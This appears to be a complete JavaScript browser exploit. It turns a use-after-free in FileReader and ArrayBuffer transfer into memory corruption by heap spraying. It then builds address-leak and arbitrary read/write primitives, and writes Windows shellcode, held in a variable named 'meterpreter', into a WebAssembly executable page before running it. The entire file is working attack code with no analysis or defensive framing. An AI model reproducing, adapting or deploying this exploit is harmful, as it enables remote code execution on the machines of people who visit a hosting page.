let myWorker = new Worker('worker.js'); let reader = null; spray = null; // nested arrays used to hold the sprayed heap contents let onprogress_cnt = 0; // number of times onprogress was called in a round let try_cnt = 0; // number of rounds we tried let last = 0, lastlast = 0; // last two AB results from the read let tarray = 0; // TypedArray constructed from the dangling ArrayBuffer const string_size = 128 * 1024 * 1024; let contents = String.prototype.repeat.call('Z', string_size); let f = new File([contents], "text.txt"); const marker1 = 0x36313233; const marker2 = 0x37414546; const outers = 256; const inners = 1024; function allocate_spray_holders() { spray = new Array(outers); for (let i = 0; i < outers; i++) { spray[i] = new Array(inners); } } function clear_spray() { for (let i = 0; i < outers; i++) { for (let j = 0; j < inners; j++) { spray[i][j] = null; } } } function reclaim_mixed() { // spray the heap to reclaim the freed region let tmp = {}; for (let i = 0; i < outers; i++) { for (let j = 0; j + 2 < inners; j+=3) { spray[i][j] = {a: marker1, b: marker2, c: tmp}; spray[i][j].c = spray[i][j] // self-reference to find our absolute address spray[i][j+1] = new Array(8); spray[i][j+2] = new Uint32Array(32); } } } function find_pattern() { const start_offset = 0x00afc000 / 4; for (let i = start_offset; i + 1 < string_size / 4; i++) { if (i < 50){ console.log(tarray[i].toString(16)); } // multiply by two because of the way SMIs are stored if (tarray[i] == marker1 * 2) { if (tarray[i+1] == marker2 * 2) { console.log(`found possible candidate objectat idx ${i}`); return i; } } } return null; } function get_obj_idx(prop_idx) { // find the index of the Object in the spray array tarray[prop_idx] = 0x62626262; for (let i = 0; i < outers; i++) { for (let j = 0; j < inners; j+=1) { try { if (spray[i][j].a == 0x31313131) { console.log(`found object idx in the spray array: ${i} ${j}`); return spray[i][j]; } } catch (e) {} } } } function ta_read(addr) { // reads an absolute address through the original freed region // only works for ta_absolute_addr + string_size (128MiB) if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) { return tarray[(addr-ta_absolute_addr)/4]; } return 0; } function ta_write(addr, value) { // wrtie to an absolute address through the original freed region // only works for ta_absolute_addr + string_size (128MiB) if (addr % 4 || value > 2**32 - 1 || addr < ta_absolute_addr || addr > ta_absolute_addr + string_size) { console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`); } tarray[(addr-ta_absolute_addr)/4] = value; } function get_corruptable_ui32a() { // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region for (let i = 0; i < outers; i++) { for (let j = 0; j + 2 < inners; j+=3) { let ui32a_addr = addrof(spray[i][j+2]) - 1; let bs_addr = ta_read(ui32a_addr + 12) - 1; let elements_addr = ta_read(ui32a_addr + 8) - 1; // read its elements pointer // if the elements ptr lies inside the region we have access to if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size && elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) { console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`); return { bs_addr: bs_addr, elements_addr: elements_addr, ui32: spray[i][j+2], i: i, j: j } } } } } var reader_obj = null; var object_prop_taidx = null; var ta_absolute_addr = null; var aarw_ui32 = null; function addrof(leaked_obj) { reader_obj.a = leaked_obj; return tarray[object_prop_taidx]; } function read4(addr) { // save the old values let tmp1 = ta_read(aarw_ui32.elements_addr + 12); let tmp2 = ta_read(aarw_ui32.bs_addr + 16); // rewrite the backing store ptr ta_write(aarw_ui32.elements_addr + 12, addr); ta_write(aarw_ui32.bs_addr + 16, addr); let val = aarw_ui32.ui32[0]; ta_write(aarw_ui32.elements_addr + 12, tmp1); ta_write(aarw_ui32.bs_addr + 16, tmp2); return val; } function write4(addr, val) { // save the old values let tmp1 = ta_read(aarw_ui32.elements_addr + 12); let tmp2 = ta_read(aarw_ui32.bs_addr + 16); // rewrite the backing store ptr ta_write(aarw_ui32.elements_addr + 12, addr); ta_write(aarw_ui32.bs_addr + 16, addr); aarw_ui32.ui32[0] = val; ta_write(aarw_ui32.elements_addr + 12, tmp1); ta_write(aarw_ui32.bs_addr + 16, tmp2); } function get_rw() { // free up as much memory as possible // spray = null; // contents = null; force_gc(); // attepmt reclaiming the memory pointed to by dangling pointer reclaim_mixed(); // access the reclaimed region as a Uint32Array tarray = new Uint32Array(lastlast); object_prop_taidx = find_pattern(); if (object_prop_taidx === null) { console.log('ERROR> failed to find marker'); window.top.postMessage(`ERROR> failed to find marker`, '*'); return; } // leak the absolute address of the Object const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1; // the third property of the sprayed Object is self-referential ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4 console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`); console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`); reader_obj = get_obj_idx(object_prop_taidx); if (reader_obj == undefined) { console.log(`ERROR> failed to find object`); window.top.postMessage(`ERROR> failed to find object`, '*'); return; } // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of ta console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`); aarw_ui32 = get_corruptable_ui32a(); // arbitrary read write up after this point } var wfunc = null; let meterpreter = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100"); function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => console.log(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); wfunc = wasm_func; // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func) - 1; let sfi = read4(wasm_func_addr + 12) - 1; let WasmExportedFunctionData = read4(sfi + 4) - 1; let instance = read4(WasmExportedFunctionData + 8) - 1; let rwx_addr = read4(instance + 0x74); // write the shellcode to the RWX page if (meterpreter.length % 2 != 0) meterpreter += "\\u9090"; for (let i = 0; i < meterpreter.length; i += 2) { write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000); } // if we got to this point, the exploit was successful window.top.postMessage('SUCCESS', '*'); console.log('success'); // invoke the shellcode window.setTimeout(wfunc, 1000); } function force_gc() { // forces a garbage collection to avoid OOM kills try { var failure = new WebAssembly.Memory({initial: 32767}); } catch(e) { // console.log(e.message); } } function init() { abs = []; tarray = 0; onprogress_cnt = 0; try_cnt = 0; last = 0, lastlast = 0; reader = new FileReader(); reader.onloadend = function(evt) { try_cnt += 1; failure = false; if (onprogress_cnt < 2) { console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`); failure = true; } if (lastlast.byteLength != f.size) { console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`); failure = true; } if (failure === true) { console.log('retrying in 1 second'); window.setTimeout(exploit, 1); return; } console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`); try { // trigger the FREE myWorker.postMessage([last], [last, lastlast]); } catch(e) { // an exception with this message indicates that the FREE part of the exploit was successful if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) { get_rw(); rce(); return; } else { console.log(e.message); } } } reader.onprogress = function(evt) { force_gc(); let res = evt.target.result; // console.log(`onprogress ${onprogress_cnt}`); onprogress_cnt += 1; if (res.byteLength != f.size) { // console.log(`result has a different size than expected: ${res.byteLength}`); return; } lastlast = last; last = res; } if (spray === null) { // allocate the spray holders if needed allocate_spray_holders(); } // clear the spray holder arrays clear_spray(); // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit try { let failure = new ArrayBuffer(1024 * 1024 * 1024); } catch (e) { console.log(e.message); } force_gc(); } function exploit() { init(); reader.readAsArrayBuffer(f); console.log(`attempt ${try_cnt} started`); }